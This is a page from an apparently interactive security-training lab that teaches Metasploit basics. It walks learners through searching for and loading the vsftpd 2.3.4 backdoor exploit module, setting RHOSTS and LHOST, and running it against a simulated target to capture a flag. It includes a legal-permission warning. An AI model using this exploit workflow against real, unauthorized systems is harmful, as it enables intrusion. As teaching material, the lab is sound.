Lab Complete!

You got a shell with Metasploit.

LABS / metasploit basics
INTERMEDIATE
Tasks
What is Metasploit?

Metasploit is a framework full of ready-made exploits (code that abuses a known bug) and payloads (code that runs once the exploit works, like a remote shell). You load it with the msfconsole command.

Think of a locksmith's toolkit: Recon (nmap) told you what kind of lock is on the door — a specific brand and version. Metasploit is the drawer of tools built for that exact lock.
Three building blocks
THE WORKFLOW
search
use exploit
set payload
run shell
TermMeaning
ExploitCode that triggers a specific vulnerability
PayloadWhat runs after the exploit succeeds (e.g. a shell)
ModuleAny loadable piece: an exploit, payload, or scanner
SessionAn active connection to a compromised target
⌨ Core commands
search vsftpd # find modules by name use exploit/unix/ftp/vsftpd_234_backdoor show options # what needs to be set set RHOSTS 10.0.0.5 # target address set LHOST 10.0.0.1 # your listening address run # or: exploit

Almost every module needs RHOSTS (the target). Exploits that call back to you also need LHOST (your address) so the payload knows where to connect.

Options you'll set
OptionMeaning
RHOSTSTarget IP address
RPORTTarget port
LHOSTYour IP, for the target to connect back to
PAYLOADWhich code runs after a successful exploit
Permission first: Running real exploits against systems you don't own or lack written authorization for is illegal in most places. This lab is a simulated console against a fake target.
Mission: An nmap scan already found an old FTP server on 192.168.1.30 running vsftpd 2.3.4 — a version with a known backdoor. Exploit it with Metasploit.
1
Find the right module
In the Terminal, search for a module matching vsftpd.
2
Load it and check options
Use the module, then list what it needs with show options.
3
Point it at the target
Set RHOSTS to the target address.
4
Run it and grab the flag
Run the exploit. A shell opens with a flag inside — read it and submit it below.
Try first, then peek. Hints nudge you without the exact answer.
The command is just search followed by a keyword, like the service name you found in recon.
Copy the exact module path from the search results and put it after use.
The syntax is set OPTION value — no equals sign. The target option is RHOSTS.
Once show options shows RHOSTS filled in, type run (or exploit — they do the same thing here).
Stuck after trying? Reveal the walkthrough.
lab@recon ~ msfconsole
msf6 >
Live Command Breakdown
Start typing a command to see what each part does...
Waiting for input
msfconsole commands you'll use most
CommandDoes
search <term>Find modules
use <path>Load a module
show optionsList required settings
set OPT valSet an option
run / exploitLaunch the module
backUnload current module
sessions -lList active sessions